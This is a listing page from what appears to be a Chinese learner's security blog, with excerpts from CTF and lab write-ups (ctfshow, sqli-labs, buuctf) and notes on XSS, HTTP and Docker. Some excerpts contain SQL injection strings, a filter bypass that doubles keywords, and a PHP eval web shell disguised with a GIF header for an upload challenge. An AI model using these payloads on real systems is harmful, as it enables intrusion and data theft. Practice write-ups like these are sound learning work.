ctfshow刷题
ctfshow web1-签到 直接查看网页源码，看见base64编码，解码后得到flag web2-最简单的SQL注入 看见输入框直接尝试万能密码 username=admin' or 1 = 1 union select 1,group_concat(table_name),3 from inf
最新文章
sqlilabs-记录
sqlilabs 刷题记录 SQLi-LABS Page-1 less-1(get-error based - single quotes - string) ?id=1' and 1=1 --+
# and 1=1 为真，所以页面正常显示
?id=1' order by 1 --+
# 使用or
2023.07.16学习 xss漏洞02
2023.07.16学习 xss漏洞02 跨站脚本攻击（Cross Site Scripting，XSS） 概述 XSS是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可获取用户的敏感信息如Cookie、SessionID等，进而危害数据安全
2023.07.15学习 xss基础01
2023.07.15学习 xss基础01 html 概述: HTML的全称为超文本标记语言，是一种标记语言。它包括一系列标签，通过这些标签可以将网络上的文档格式统一，使分散的Internet资源连接为一个逻辑整体。HTML文本是由HTML命令组成的描述性文本，HTML命令可以说明文字，图形、动画、声
2023.07.13学习 HTTP/HTTPS
2023.07.13学习 HTTP/HTTPS HTTP：超文本传输协议，基于请求与响应，无状态的，应用层的协议，常基于tcp/ip协议传输数据，互联网上应用最广泛的一种网络协议，所有的www文件都要遵守这个标准 http的初衷是为了提供一种发布和接收html页面的方法 HTTP 的工作流程 A.
使用反代解决docker防火墙问题
通过防火墙，管理不了容器端口，指定ip开放端口的另一个思路 如果按照 Docker 官方提供的办法，就是关闭 iptables 这样会导致容器内访问不了外网 如图 如果开启端口外部访问，那么会无视防火墙的规则，端口直接暴露在公网 这里我的需求是用内网的另一台机器作为反向代理服务器，供外网访问 我的方
buuctf-upload1
[ACTF2020 新生赛]Upload 1 打开靶机 根据提示发现只能上传图片文件 修改文件名之后发现上传依旧不可行，尝试伪造文件头 GIF89a
<script language='php'>@eval($_POST['root']);</script>
23/04/23学习
[极客大挑战 2019]BabySQL 1.打开靶机 2.尝试 pwd'union select 1,2,3#
过滤掉了union 和 select,双写试试 pwd'ununionion selselectect 1,2,3#
<